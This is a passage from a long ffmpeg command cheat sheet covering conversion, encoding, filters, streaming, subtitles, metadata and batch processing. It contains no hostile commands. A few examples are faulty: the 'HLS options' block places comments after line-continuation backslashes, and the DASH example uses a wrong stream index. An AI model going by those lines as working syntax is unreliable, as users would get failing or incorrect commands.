ffprobe -v error -show_entries format=bit_rate -of default=noprint_wrappers=1:nokey=1 input.mp4

# Basic format conversion (auto-detect codecs)
ffmpeg -i input.avi output.mp4

# Convert with progress
ffmpeg -i input.avi -progress - output.mp4

# Overwrite output without prompt
ffmpeg -y -i input.avi output.mp4

# Never overwrite
ffmpeg -n -i input.avi output.mp4

# AVI to MP4
ffmpeg -i input.avi output.mp4

# MKV to MP4
ffmpeg -i input.mkv -c copy output.mp4  # Copy streams (fast)

# MOV to MP4
ffmpeg -i input.mov -c:v libx264 -c:a aac output.mp4

# WebM to MP4
ffmpeg -i input.webm -c:v libx264 -c:a aac output.mp4

# FLV to MP4
ffmpeg -i input.flv -c:v libx264 -c:a aac output.mp4

# MP4 to WebM
ffmpeg -i input.mp4 -c:v libvpx-vp9 -c:a libopus output.webm

# Any format to GIF
ffmpeg -i input.mp4 -vf "fps=10,scale=320:-1:flags=lanczos" output.gif

# Copy all streams without re-encoding
ffmpeg -i input.mp4 -c copy output.mkv

# Copy video, re-encode audio
ffmpeg -i input.mp4 -c:v copy -c:a aac output.mp4

# Copy audio, re-encode video
ffmpeg -i input.mp4 -c:v libx264 -c:a copy output.mp4

# Basic H.264 encoding
ffmpeg -i input.mp4 -c:v libx264 -c:a aac output.mp4

# High quality H.264
ffmpeg -i input.mp4 -c:v libx264 -preset slow -crf 18 -c:a aac -b:a 192k output.mp4

# Web-optimized H.264
ffmpeg -i input.mp4 -c:v libx264 -preset fast -crf 22 -c:a aac -b:a 128k -movflags +faststart output.mp4

# Specific bitrate
ffmpeg -i input.mp4 -c:v libx264 -b:v 2M -c:a aac -b:a 128k output.mp4

# Two-pass encoding (better quality)
ffmpeg -i input.mp4 -c:v libx264 -b:v 2M -pass 1 -f mp4 /dev/null
ffmpeg -i input.mp4 -c:v libx264 -b:v 2M -pass 2 output.mp4

# Presets (speed vs compression)
# ultrafast, superfast, veryfast, faster, fast, medium, slow, slower, veryslow
ffmpeg -i input.mp4 -c:v libx264 -preset slow -crf 20 output.mp4

# Profiles and levels
ffmpeg -i input.mp4 -c:v libx264 -profile:v baseline -level 3.0 output.mp4
ffmpeg -i input.mp4 -c:v libx264 -profile:v main -level 4.0 output.mp4
ffmpeg -i input.mp4 -c:v libx264 -profile:v high -level 4.2 output.mp4

# Basic H.265 encoding
ffmpeg -i input.mp4 -c:v libx265 -c:a aac output.mp4

# High quality H.265
ffmpeg -i input.mp4 -c:v libx265 -preset slow -crf 22 -c:a aac output.mp4

# 4K H.265
ffmpeg -i input.mp4 -c:v libx265 -preset medium -crf 24 -c:a aac -tag:v hvc1 output.mp4

# H.265 with specific bitrate
ffmpeg -i input.mp4 -c:v libx265 -b:v 1.5M -c:a aac output.mp4

# Basic VP9
ffmpeg -i input.mp4 -c:v libvpx-vp9 -c:a libopus output.webm

# High quality VP9
ffmpeg -i input.mp4 -c:v libvpx-vp9 -crf 30 -b:v 0 -c:a libopus output.webm

# VP9 two-pass
ffmpeg -i input.mp4 -c:v libvpx-vp9 -b:v 1M -pass 1 -f webm /dev/null
ffmpeg -i input.mp4 -c:v libvpx-vp9 -b:v 1M -pass 2 -c:a libopus output.webm

# VP9 with quality settings
ffmpeg -i input.mp4 -c:v libvpx-vp9 -crf 30 -b:v 0 -row-mt 1 -c:a libopus -b:a 128k output.webm

# Basic AV1 (slow but best compression)
ffmpeg -i input.mp4 -c:v libaom-av1 -crf 30 -c:a libopus output.webm

# AV1 with speed settings
ffmpeg -i input.mp4 -c:v libaom-av1 -cpu-used 4 -crf 30 output.webm

# SVT-AV1 (faster)
ffmpeg -i input.mp4 -c:v libsvtav1 -crf 35 -c:a libopus output.webm

# CRF (Constant Rate Factor) - recommended
# Lower = better quality, larger file
# H.264: 18-28 (23 default)
# H.265: 22-32 (28 default)
# VP9: 15-35 (30 default)
ffmpeg -i input.mp4 -c:v libx264 -crf 23 output.mp4

# CBR (Constant Bitrate)
ffmpeg -i input.mp4 -c:v libx264 -b:v 2M -minrate 2M -maxrate 2M -bufsize 1M output.mp4

# VBR (Variable Bitrate)
ffmpeg -i input.mp4 -c:v libx264 -b:v 2M -maxrate 3M -bufsize 2M output.mp4

# Target file size
# Calculate bitrate: (target_size_MB * 8192) / duration_seconds
ffmpeg -i input.mp4 -c:v libx264 -b:v 1500k -pass 1 -f mp4 /dev/null
ffmpeg -i input.mp4 -c:v libx264 -b:v 1500k -pass 2 output.mp4

# Extract audio to MP3
ffmpeg -i input.mp4 -vn -c:a libmp3lame -b:a 192k output.mp3

# Extract audio to AAC
ffmpeg -i input.mp4 -vn -c:a aac -b:a 192k output.aac

# Extract audio to FLAC (lossless)
ffmpeg -i input.mp4 -vn -c:a flac output.flac

# Extract audio without re-encoding
ffmpeg -i input.mp4 -vn -c:a copy output.aac

# Convert audio format
ffmpeg -i input.mp3 output.wav
ffmpeg -i input.wav -c:a libmp3lame -b:a 320k output.mp3
ffmpeg -i input.mp3 -c:a aac -b:a 192k output.aac
ffmpeg -i input.wav -c:a libopus -b:a 128k output.opus

# Change sample rate
ffmpeg -i input.mp3 -ar 44100 output.mp3
ffmpeg -i input.wav -ar 48000 output.wav

# Change channels (mono/stereo)
ffmpeg -i input.mp3 -ac 1 output.mp3  # Mono
ffmpeg -i input.mp3 -ac 2 output.mp3  # Stereo

# Normalize audio
ffmpeg -i input.mp3 -af "loudnorm" output.mp3

# Change volume
ffmpeg -i input.mp3 -af "volume=2.0" output.mp3  # Double volume
ffmpeg -i input.mp3 -af "volume=0.5" output.mp3  # Half volume
ffmpeg -i input.mp3 -af "volume=10dB" output.mp3  # Increase by 10dB

# Constant bitrate
ffmpeg -i input.mp4 -c:a aac -b:a 128k output.mp4

# Common bitrates
ffmpeg -i input.mp4 -c:a aac -b:a 96k output.mp4   # Low quality
ffmpeg -i input.mp4 -c:a aac -b:a 128k output.mp4  # Standard
ffmpeg -i input.mp4 -c:a aac -b:a 192k output.mp4  # Good quality
ffmpeg -i input.mp4 -c:a aac -b:a 256k output.mp4  # High quality
ffmpeg -i input.mp4 -c:a aac -b:a 320k output.mp4  # Maximum quality

# Replace audio in video
ffmpeg -i video.mp4 -i audio.mp3 -c:v copy -c:a aac -map 0:v:0 -map 1:a:0 output.mp4

# Add audio track (multiple audio streams)
ffmpeg -i video.mp4 -i audio.mp3 -c copy -map 0 -map 1:a output.mp4

# Mix two audio tracks
ffmpeg -i input1.mp3 -i input2.mp3 -filter_complex "[0:a][1:a]amix=inputs=2:duration=longest" output.mp3

# Resize to specific dimensions
ffmpeg -i input.mp4 -vf "scale=1280:720" output.mp4

# Resize maintaining aspect ratio
ffmpeg -i input.mp4 -vf "scale=1280:-1" output.mp4  # Width 1280, auto height
ffmpeg -i input.mp4 -vf "scale=-1:720" output.mp4   # Height 720, auto width

# Scale to percentage
ffmpeg -i input.mp4 -vf "scale=iw*0.5:ih*0.5" output.mp4  # 50% size

# Common resolutions
ffmpeg -i input.mp4 -vf "scale=1920:1080" output.mp4  # 1080p
ffmpeg -i input.mp4 -vf "scale=1280:720" output.mp4   # 720p
ffmpeg -i input.mp4 -vf "scale=854:480" output.mp4    # 480p
ffmpeg -i input.mp4 -vf "scale=640:360" output.mp4    # 360p

# High quality scaling
ffmpeg -i input.mp4 -vf "scale=1920:1080:flags=lanczos" output.mp4

# Crop to specific size
# crop=width:height:x:y
ffmpeg -i input.mp4 -vf "crop=1280:720:0:0" output.mp4

# Crop center
ffmpeg -i input.mp4 -vf "crop=1920:800:0:140" output.mp4

# Crop to 16:9 from 4:3
ffmpeg -i input.mp4 -vf "crop=in_h*16/9:in_h" output.mp4

# Auto-detect crop
ffmpeg -i input.mp4 -vf "cropdetect" -f null -
# Then use detected values
ffmpeg -i input.mp4 -vf "crop=1920:800:0:140" output.mp4

# Crop and scale
ffmpeg -i input.mp4 -vf "crop=1920:800:0:140,scale=1280:534" output.mp4

# Rotate 90 degrees clockwise
ffmpeg -i input.mp4 -vf "transpose=1" output.mp4

# Rotate 90 degrees counter-clockwise
ffmpeg -i input.mp4 -vf "transpose=2" output.mp4

# Rotate 180 degrees
ffmpeg -i input.mp4 -vf "transpose=2,transpose=2" output.mp4

# Flip horizontal
ffmpeg -i input.mp4 -vf "hflip" output.mp4

# Flip vertical
ffmpeg -i input.mp4 -vf "vflip" output.mp4

# Rotate by arbitrary angle
ffmpeg -i input.mp4 -vf "rotate=45*PI/180" output.mp4

# Add image watermark
ffmpeg -i input.mp4 -i logo.png -filter_complex "overlay=10:10" output.mp4

# Watermark in bottom right
ffmpeg -i input.mp4 -i logo.png -filter_complex "overlay=W-w-10:H-h-10" output.mp4

# Watermark centered
ffmpeg -i input.mp4 -i logo.png -filter_complex "overlay=(W-w)/2:(H-h)/2" output.mp4

# Transparent watermark
ffmpeg -i input.mp4 -i logo.png -filter_complex "[1:v]format=rgba,colorchannelmixer=aa=0.5[logo];[0:v][logo]overlay=10:10" output.mp4

# Text watermark
ffmpeg -i input.mp4 -vf "drawtext=text='Copyright 2024':x=10:y=10:fontsize=24:fontcolor=white" output.mp4

# Text with shadow
ffmpeg -i input.mp4 -vf "drawtext=text='Copyright':x=10:y=10:fontsize=36:fontcolor=white:shadowcolor=black:shadowx=2:shadowy=2" output.mp4

# Dynamic timestamp
ffmpeg -i input.mp4 -vf "drawtext=text='%{localtime\:%Y-%m-%d %H\\:%M\\:%S}':x=10:y=10:fontsize=24:fontcolor=white" output.mp4

# Fade in video (first 2 seconds)
ffmpeg -i input.mp4 -vf "fade=in:0:60" output.mp4

# Fade out video (last 2 seconds)
ffmpeg -i input.mp4 -vf "fade=out:st=28:d=2" output.mp4

# Fade in and out
ffmpeg -i input.mp4 -vf "fade=in:0:60,fade=out:st=28:d=2" output.mp4

# Audio fade in/out
ffmpeg -i input.mp4 -af "afade=in:st=0:d=2,afade=out:st=28:d=2" output.mp4

# Combined video and audio fade
ffmpeg -i input.mp4 -vf "fade=in:0:60,fade=out:st=28:d=60" -af "afade=in:st=0:d=2,afade=out:st=28:d=2" output.mp4

# Brightness
ffmpeg -i input.mp4 -vf "eq=brightness=0.1" output.mp4

# Contrast
ffmpeg -i input.mp4 -vf "eq=contrast=1.5" output.mp4

# Saturation
ffmpeg -i input.mp4 -vf "eq=saturation=1.5" output.mp4

# Gamma
ffmpeg -i input.mp4 -vf "eq=gamma=1.2" output.mp4

# Combined adjustments
ffmpeg -i input.mp4 -vf "eq=brightness=0.1:contrast=1.2:saturation=1.3" output.mp4

# Grayscale
ffmpeg -i input.mp4 -vf "hue=s=0" output.mp4

# Sepia tone
ffmpeg -i input.mp4 -vf "colorchannelmixer=.393:.769:.189:0:.349:.686:.168:0:.272:.534:.131" output.mp4

# Blur
ffmpeg -i input.mp4 -vf "boxblur=5:1" output.mp4

# Gaussian blur
ffmpeg -i input.mp4 -vf "gblur=sigma=5" output.mp4

# Sharpen
ffmpeg -i input.mp4 -vf "unsharp=5:5:1.5:5:5:0.0" output.mp4

# Denoise
ffmpeg -i input.mp4 -vf "nlmeans" output.mp4

# Scale and crop
ffmpeg -i input.mp4 -vf "scale=1920:1080,crop=1920:800:0:140" output.mp4

# Multiple filters
ffmpeg -i input.mp4 -vf "scale=1280:720,hue=s=1.5,eq=brightness=0.1" output.mp4

# Filter with audio
ffmpeg -i input.mp4 -vf "scale=1280:720" -af "volume=2.0" output.mp4

# Basic PIP
ffmpeg -i main.mp4 -i overlay.mp4 -filter_complex \
  "[1:v]scale=320:240[pip];[0:v][pip]overlay=W-w-10:H-h-10" \
  output.mp4

# PIP with different positions
# Top-left
ffmpeg -i main.mp4 -i overlay.mp4 -filter_complex \
  "[1:v]scale=320:240[pip];[0:v][pip]overlay=10:10" output.mp4

# Top-right
ffmpeg -i main.mp4 -i overlay.mp4 -filter_complex \
  "[1:v]scale=320:240[pip];[0:v][pip]overlay=W-w-10:10" output.mp4

# Bottom-left
ffmpeg -i main.mp4 -i overlay.mp4 -filter_complex \
  "[1:v]scale=320:240[pip];[0:v][pip]overlay=10:H-h-10" output.mp4

# Side-by-side comparison
ffmpeg -i left.mp4 -i right.mp4 -filter_complex \
  "[0:v][1:v]hstack=inputs=2" output.mp4

# Vertical stack
ffmpeg -i top.mp4 -i bottom.mp4 -filter_complex \
  "[0:v][1:v]vstack=inputs=2" output.mp4

# 2x2 grid
ffmpeg -i input1.mp4 -i input2.mp4 -i input3.mp4 -i input4.mp4 \
  -filter_complex \
  "[0:v][1:v]hstack[top];[2:v][3:v]hstack[bottom];[top][bottom]vstack" \
  output.mp4

# Speed up video (2x)
ffmpeg -i input.mp4 -vf "setpts=0.5*PTS" output.mp4

# Slow down video (0.5x)
ffmpeg -i input.mp4 -vf "setpts=2.0*PTS" output.mp4

# Speed up audio
ffmpeg -i input.mp4 -filter:a "atempo=2.0" output.mp4

# Speed up both video and audio (2x)
ffmpeg -i input.mp4 -vf "setpts=0.5*PTS" -af "atempo=2.0" output.mp4

# Slow motion (0.5x) with audio
ffmpeg -i input.mp4 -vf "setpts=2.0*PTS" -af "atempo=0.5" output.mp4

# Speed limits: atempo must be between 0.5 and 2.0
# For 4x speed, chain multiple atempo filters
ffmpeg -i input.mp4 -filter:a "atempo=2.0,atempo=2.0" output.mp4

# Change framerate
ffmpeg -i input.mp4 -r 30 output.mp4  # 30 fps
ffmpeg -i input.mp4 -r 60 output.mp4  # 60 fps

# Convert to 24fps (film)
ffmpeg -i input.mp4 -r 24 output.mp4

# Duplicate frames to increase fps
ffmpeg -i input.mp4 -vf "fps=60" output.mp4

# Interpolate frames (smooth)
ffmpeg -i input.mp4 -vf "minterpolate=fps=60:mi_mode=mci" output.mp4

# Extract first frame
ffmpeg -i input.mp4 -vf "select=eq(n\,0)" -q:v 1 -frames:v 1 output.png

# Extract frame at specific time
ffmpeg -ss 00:00:10 -i input.mp4 -frames:v 1 output.jpg

# Extract frame at 5 seconds
ffmpeg -ss 5 -i input.mp4 -frames:v 1 output.png

# High quality screenshot
ffmpeg -ss 00:01:30 -i input.mp4 -frames:v 1 -q:v 2 output.jpg

# Specific size screenshot
ffmpeg -ss 10 -i input.mp4 -vf "scale=1920:1080" -frames:v 1 output.png

# Extract every frame
ffmpeg -i input.mp4 frame_%04d.png

# Extract 1 frame per second
ffmpeg -i input.mp4 -vf "fps=1" frame_%04d.png

# Extract 1 frame every 10 seconds
ffmpeg -i input.mp4 -vf "fps=1/10" frame_%04d.png

# Extract frames from specific time range
ffmpeg -ss 00:00:10 -t 00:00:05 -i input.mp4 -vf "fps=1" frame_%04d.png

# Extract frames with specific quality
ffmpeg -i input.mp4 -vf "fps=1" -q:v 2 frame_%04d.jpg

# Create thumbnail grid (contact sheet)
ffmpeg -i input.mp4 -vf "fps=1/60,scale=320:240,tile=4x3" thumbnail.png

# Create thumbnail at specific interval
ffmpeg -i input.mp4 -vf "thumbnail=300" -frames:v 1 thumb.png

# Create multiple thumbnails
ffmpeg -i input.mp4 -vf "fps=1/60" thumb_%03d.jpg

# Basic GIF
ffmpeg -i input.mp4 output.gif

# High quality GIF
ffmpeg -i input.mp4 -vf "fps=10,scale=320:-1:flags=lanczos,split[s0][s1];[s0]palettegen[p];[s1][p]paletteuse" output.gif

# GIF from specific time range
ffmpeg -ss 5 -t 10 -i input.mp4 -vf "fps=10,scale=480:-1:flags=lanczos" output.gif

# Optimized GIF with custom palette
ffmpeg -i input.mp4 -vf "fps=15,scale=480:-1:flags=lanczos,palettegen" palette.png
ffmpeg -i input.mp4 -i palette.png -filter_complex "fps=15,scale=480:-1:flags=lanczos[x];[x][1:v]paletteuse" output.gif

# Cut from start time for duration
ffmpeg -ss 00:00:10 -t 00:00:30 -i input.mp4 -c copy output.mp4

# Cut from start to end time
ffmpeg -ss 00:00:10 -to 00:00:40 -i input.mp4 -c copy output.mp4

# Cut with re-encoding (more precise)
ffmpeg -i input.mp4 -ss 00:00:10 -t 00:00:30 -c:v libx264 -c:a aac output.mp4

# Multiple segments
ffmpeg -i input.mp4 -ss 00:00:00 -t 00:00:10 part1.mp4
ffmpeg -i input.mp4 -ss 00:00:10 -t 00:00:10 part2.mp4
ffmpeg -i input.mp4 -ss 00:00:20 -t 00:00:10 part3.mp4

# Cut last N seconds
ffmpeg -sseof -10 -i input.mp4 -c copy last_10sec.mp4

# Method 1: Concat demuxer (same codec, fast)
# Create file list
echo "file 'video1.mp4'" > filelist.txt
echo "file 'video2.mp4'" >> filelist.txt
echo "file 'video3.mp4'" >> filelist.txt

ffmpeg -f concat -safe 0 -i filelist.txt -c copy output.mp4

# Method 2: Concat filter (different codecs)
ffmpeg -i video1.mp4 -i video2.mp4 -i video3.mp4 \
  -filter_complex "[0:v][0:a][1:v][1:a][2:v][2:a]concat=n=3:v=1:a=1[outv][outa]" \
  -map "[outv]" -map "[outa]" output.mp4

# Method 3: Concat protocol (identical files)
ffmpeg -i "concat:video1.mp4|video2.mp4|video3.mp4" -c copy output.mp4

# Concatenate with transition
ffmpeg -i input1.mp4 -i input2.mp4 -filter_complex \
  "[0:v]fade=out:st=9:d=1[v0];[1:v]fade=in:st=0:d=1[v1];[v0][v1]concat=n=2:v=1:a=0" \
  output.mp4

# Split into equal parts
ffmpeg -i input.mp4 -c copy -map 0 -segment_time 300 -f segment output%03d.mp4

# Split by size
ffmpeg -i input.mp4 -c copy -map 0 -segment_size 100M -f segment output%03d.mp4

# Split at keyframes
ffmpeg -i input.mp4 -c copy -segment_time 300 -reset_timestamps 1 -f segment output%03d.mp4

# Basic HLS
ffmpeg -i input.mp4 -hls_time 10 -hls_list_size 0 -f hls output.m3u8

# HLS with different quality levels (adaptive streaming)
ffmpeg -i input.mp4 \
  -vf "scale=1280:720" -c:v libx264 -b:v 2M -c:a aac -b:a 128k -hls_time 10 720p.m3u8 \
  -vf "scale=854:480" -c:v libx264 -b:v 1M -c:a aac -b:a 96k -hls_time 10 480p.m3u8 \
  -vf "scale=640:360" -c:v libx264 -b:v 500k -c:a aac -b:a 64k -hls_time 10 360p.m3u8

# HLS with segment naming
ffmpeg -i input.mp4 \
  -hls_time 10 \
  -hls_list_size 0 \
  -hls_segment_filename "segment_%03d.ts" \
  -f hls output.m3u8

# HLS with encryption
ffmpeg -i input.mp4 \
  -hls_time 10 \
  -hls_key_info_file key_info.txt \
  -hls_list_size 0 \
  -f hls output.m3u8

# HLS options
ffmpeg -i input.mp4 \
  -c:v libx264 -c:a aac \
  -hls_time 6 \                    # Segment duration
  -hls_list_size 0 \                # Keep all segments in playlist
  -hls_segment_type mpegts \        # Segment format
  -hls_flags delete_segments \      # Delete old segments
  -hls_start_number_source datetime \
  -f hls output.m3u8

# Basic DASH
ffmpeg -i input.mp4 -c:v libx264 -c:a aac -f dash output.mpd

# DASH with multiple qualities
ffmpeg -i input.mp4 \
  -map 0:v -map 0:a -c:v libx264 -c:a aac \
  -b:v:0 2M -s:v:0 1280x720 \
  -b:v:1 1M -s:v:1 854x480 \
  -b:v:2 500k -s:v:3 640x360 \
  -adaptation_sets "id=0,streams=v id=1,streams=a" \
  -f dash output.mpd

# Stream to RTMP server
ffmpeg -re -i input.mp4 -c:v libx264 -preset veryfast -maxrate 3M \
  -bufsize 6M -c:a aac -b:a 128k -f flv rtmp://server/live/stream

# Stream with specific resolution and framerate
ffmpeg -re -i input.mp4 \
  -vf "scale=1280:720" -r 30 \
  -c:v libx264 -preset veryfast -b:v 2M \
  -c:a aac -b:a 128k \
  -f flv rtmp://server/live/stream

# Stream from webcam
ffmpeg -f v4l2 -i /dev/video0 -f alsa -i default \
  -c:v libx264 -preset veryfast -b:v 1M \
  -c:a aac -b:a 128k \
  -f flv rtmp://server/live/stream

# Re-stream (relay)
ffmpeg -i rtmp://source/live/stream -c copy -f flv rtmp://destination/live/stream

# UDP streaming
ffmpeg -re -i input.mp4 -c:v libx264 -c:a aac -f mpegts udp://192.168.1.100:1234

# RTP streaming
ffmpeg -re -i input.mp4 -c:v libx264 -c:a aac -f rtp rtp://192.168.1.100:1234

# SRT streaming
ffmpeg -re -i input.mp4 -c:v libx264 -c:a aac -f mpegts srt://192.168.1.100:1234

# Extract all subtitle tracks
ffmpeg -i input.mkv -c:s copy subtitles.srt

# Extract specific subtitle
ffmpeg -i input.mkv -map 0:s:0 -c:s copy subtitle_track1.srt

# Convert subtitle format
ffmpeg -i input.srt output.ass
ffmpeg -i input.ass output.srt

# Soft subtitles (embedded, can be toggled)
ffmpeg -i input.mp4 -i subtitles.srt -c copy -c:s mov_text output.mp4

# Add multiple subtitle tracks
ffmpeg -i input.mp4 -i eng.srt -i spa.srt \
  -c copy -c:s mov_text \
  -metadata:s:s:0 language=eng \
  -metadata:s:s:1 language=spa \
  output.mp4

# Hard subtitles (burned in, always visible)
ffmpeg -i input.mp4 -vf "subtitles=subtitles.srt" output.mp4

# Burn subtitles with style
ffmpeg -i input.mp4 -vf "subtitles=subtitles.srt:force_style='FontName=Arial,FontSize=24,PrimaryColour=&H00FFFF'" output.mp4

# Burn ASS/SSA subtitles
ffmpeg -i input.mp4 -vf "ass=subtitles.ass" output.mp4

# Generate subtitle from text file
# Create subtitle.srt:
# 1
# 00:00:00,000 --> 00:00:05,000
# First subtitle text
#
# 2
# 00:00:05,000 --> 00:00:10,000
# Second subtitle text

ffmpeg -i input.mp4 -i subtitle.srt -c copy -c:s mov_text output.mp4

# Show all metadata
ffprobe -show_format -show_streams input.mp4

# Show only metadata
ffmpeg -i input.mp4 -f ffmetadata metadata.txt

# Extract cover art
ffmpeg -i input.mp3 -an -vcodec copy cover.jpg

# Set metadata tags
ffmpeg -i input.mp4 -metadata title="My Video" \
  -metadata author="John Doe" \
  -metadata copyright="2024" \
  -c copy output.mp4

# Remove all metadata
ffmpeg -i input.mp4 -map_metadata -1 -c copy output.mp4

# Add cover art to audio
ffmpeg -i input.mp3 -i cover.jpg \
  -map 0:a -map 1:v \
  -c:a copy -c:v copy \
  -metadata:s:v title="Album cover" \
  -metadata:s:v comment="Cover (front)" \
  output.mp3

# Copy metadata from one file to another
ffmpeg -i source.mp4 -i destination.mp4 -map 1 -map_metadata 0 -c copy output.mp4

# NVIDIA NVENC (H.264)
ffmpeg -i input.mp4 -c:v h264_nvenc -preset slow -b:v 2M output.mp4

# NVIDIA NVENC (H.265)
ffmpeg -i input.mp4 -c:v hevc_nvenc -preset slow -b:v 2M output.mp4

# Intel Quick Sync (H.264)
ffmpeg -i input.mp4 -c:v h264_qsv -preset slow -b:v 2M output.mp4

# Intel Quick Sync (H.265)
ffmpeg -i input.mp4 -c:v hevc_qsv -preset slow -b:v 2M output.mp4

# AMD VCE (H.264)
ffmpeg -i input.mp4 -c:v h264_amf -b:v 2M output.mp4

# Apple VideoToolbox (H.264)
ffmpeg -i input.mp4 -c:v h264_videotoolbox -b:v 2M output.mp4

# VA-API (Linux)
ffmpeg -vaapi_device /dev/dri/renderD128 -i input.mp4 \
  -vf 'format=nv12,hwupload' -c:v h264_vaapi -b:v 2M output.mp4

# NVIDIA CUDA decoding + NVENC encoding
ffmpeg -hwaccel cuda -i input.mp4 -c:v h264_nvenc -preset slow output.mp4

# Intel Quick Sync decoding + encoding
ffmpeg -hwaccel qsv -c:v h264_qsv -i input.mp4 -c:v h264_qsv output.mp4

# VA-API decoding + encoding
ffmpeg -hwaccel vaapi -hwaccel_device /dev/dri/renderD128 -i input.mp4 \
  -vf 'format=nv12,hwupload' -c:v h264_vaapi output.mp4

# Multi-threading
ffmpeg -threads 4 -i input.mp4 output.mp4
ffmpeg -threads 0 -i input.mp4 output.mp4  # Auto detect

# Faster encoding (lower quality)
ffmpeg -i input.mp4 -preset ultrafast -crf 23 output.mp4

# Quality vs speed (presets)
# ultrafast, superfast, veryfast, faster, fast, medium, slow, slower, veryslow
ffmpeg -i input.mp4 -preset medium -crf 23 output.mp4

# Tune for specific content
ffmpeg -i input.mp4 -tune film output.mp4      # Film content
ffmpeg -i input.mp4 -tune animation output.mp4  # Animation
ffmpeg -i input.mp4 -tune grain output.mp4      # Grainy film
ffmpeg -i input.mp4 -tune stillimage output.mp4 # Slideshow

# HTML5 video (MP4)
ffmpeg -i input.mp4 \
  -c:v libx264 -preset slow -crf 22 \
  -c:a aac -b:a 128k \
  -movflags +faststart \
  -vf "scale=1280:720" \
  output.mp4

# WebM for web
ffmpeg -i input.mp4 \
  -c:v libvpx-vp9 -crf 30 -b:v 0 \
  -c:a libopus -b:a 128k \
  -vf "scale=1280:720" \
  output.webm

# Both formats for compatibility
ffmpeg -i input.mp4 -c:v libx264 -preset slow -crf 22 -movflags +faststart video.mp4
ffmpeg -i input.mp4 -c:v libvpx-vp9 -crf 30 -b:v 0 -c:a libopus video.webm

# Instagram (1:1 square)
ffmpeg -i input.mp4 \
  -vf "scale=1080:1080:force_original_aspect_ratio=decrease,pad=1080:1080:(ow-iw)/2:(oh-ih)/2" \
  -c:v libx264 -preset slow -crf 23 \
  -c:a aac -b:a 128k \
  instagram.mp4

# Instagram Stories (9:16)
ffmpeg -i input.mp4 \
  -vf "scale=1080:1920:force_original_aspect_ratio=decrease,pad=1080:1920:(ow-iw)/2:(oh-ih)/2" \
  -c:v libx264 -preset slow -crf 23 \
  -c:a aac -b:a 128k \
  story.mp4

# Twitter (16:9, < 512MB, < 2:20)
ffmpeg -i input.mp4 \
  -c:v libx264 -preset slow -crf 23 -maxrate 2M -bufsize 4M \
  -vf "scale=1280:720" \
  -c:a aac -b:a 128k \
  -movflags +faststart \
  twitter.mp4

# YouTube (recommended settings)
ffmpeg -i input.mp4 \
  -c:v libx264 -preset slow -crf 18 \
  -c:a aac -b:a 192k \
  -vf "scale=1920:1080" \
  -r 30 \
  -movflags +faststart \
  youtube.mp4

# Convert all MP4 files to WebM
for f in *.mp4; do
  ffmpeg -i "$f" -c:v libvpx-vp9 -crf 30 "${f%.mp4}.webm"
done

# Batch resize
for f in *.mp4; do
  ffmpeg -i "$f" -vf "scale=1280:720" "resized_${f}"
done

# Batch extract audio
for f in *.mp4; do
  ffmpeg -i "$f" -vn -c:a libmp3lame -b:a 192k "${f%.mp4}.mp3"
done

# Parallel processing with GNU parallel
ls *.mp4 | parallel -j 4 ffmpeg -i {} -c:v libx264 -crf 23 {.}_converted.mp4

# Create video from image sequence
ffmpeg -framerate 30 -pattern_type glob -i "*.jpg" -c:v libx264 -pix_fmt yuv420p output.mp4

# Specific pattern
ffmpeg -framerate 30 -i image_%04d.jpg -c:v libx264 output.mp4

# Slideshow with duration
ffmpeg -loop 1 -t 5 -i image.jpg -c:v libx264 -pix_fmt yuv420p output.mp4

# Slideshow from multiple images
ffmpeg -loop 1 -t 3 -i img1.jpg \
       -loop 1 -t 3 -i img2.jpg \
       -loop 1 -t 3 -i img3.jpg \
       -filter_complex "[0:v][1:v][2:v]concat=n=3:v=1:a=0" \
       slideshow.mp4

# Ken Burns effect (zoom and pan)
ffmpeg -loop 1 -i image.jpg \
  -vf "zoompan=z='min(zoom+0.0015,1.5)':d=750:x='iw/2-(iw/zoom/2)':y='ih/2-(ih/zoom/2)':s=1920x1080" \
  -c:v libx264 -t 30 output.mp4

# Optimize screen recording
ffmpeg -i screen_recording.mp4 \
  -c:v libx264 -preset slow -crf 18 \
  -vf "scale=1920:1080" \
  -c:a aac -b:a 128k \
  optimized.mp4

# Remove silence from screen recording
ffmpeg -i recording.mp4 \
  -af "silenceremove=1:0:-50dB" \
  no_silence.mp4

# Pass 1
ffmpeg -i input.mp4 -c:v libx264 -b:v 2M -pass 1 -f mp4 /dev/null

# Pass 2
ffmpeg -i input.mp4 -c:v libx264 -b:v 2M -pass 2 output.mp4

# Better quality-to-size ratio
ffmpeg -i input.mp4 -c:v libx264 -crf 23 output.mp4

# Move moov atom to beginning (faster streaming start)
ffmpeg -i input.mp4 -c copy -movflags +faststart output.mp4

# When changing container only, use -c copy
ffmpeg -i input.mkv -c copy output.mp4

# Ensure compatibility (yuv420p for most players)
ffmpeg -i input.mp4 -pix_fmt yuv420p output.mp4

# Balance quality and encoding time
ffmpeg -i input.mp4 -preset slow -crf 22 output.mp4

# Always analyze before processing
ffprobe -show_streams input.mp4

# Don't waste space on audio
ffmpeg -i input.mp4 -c:v libx264 -crf 23 -c:a aac -b:a 128k output.mp4

# Use shell loops for multiple files
for f in *.mp4; do ffmpeg -i "$f" -c:v libx264 -crf 23 "${f%.mp4}_new.mp4"; done

# Use -1 to maintain aspect ratio
ffmpeg -i input.mp4 -vf "scale=1280:-1" output.mp4

# "Unknown encoder 'libx264'"
# Install ffmpeg with libx264 support
sudo apt install ffmpeg libx264-dev

# "Could not find codec parameters"
# File may be corrupted, try re-encoding
ffmpeg -err_detect ignore_err -i input.mp4 -c:v libx264 output.mp4

# "Invalid data found when processing input"
# Skip invalid data
ffmpeg -i input.mp4 -c copy -bsf:v h264_mp4toannexb output.mp4

# "Output file is empty"
# Check codecs and formats
ffprobe input.mp4
ffmpeg -i input.mp4 -c:v libx264 -c:a aac output.mp4

# "Encoder did not produce proper pts"
# Add -vsync vfr
ffmpeg -i input.mp4 -vsync vfr output.mp4

# Fix A/V sync
ffmpeg -i input.mp4 -async 1 -vsync 1 output.mp4

# Delay audio by 2 seconds
ffmpeg -i input.mp4 -itsoffset 2 -i input.mp4 -map 0:v -map 1:a -c copy output.mp4

# Advance audio by 2 seconds
ffmpeg -i input.mp4 -itsoffset -2 -i input.mp4 -map 0:v -map 1:a -c copy output.mp4

# Improve quality (lower CRF)
ffmpeg -i input.mp4 -c:v libx264 -crf 18 output.mp4

# Two-pass for better quality
ffmpeg -i input.mp4 -c:v libx264 -b:v 2M -pass 1 -f mp4 /dev/null
ffmpeg -i input.mp4 -c:v libx264 -b:v 2M -pass 2 output.mp4

# Use better preset
ffmpeg -i input.mp4 -preset slower -crf 20 output.mp4

# Use hardware acceleration
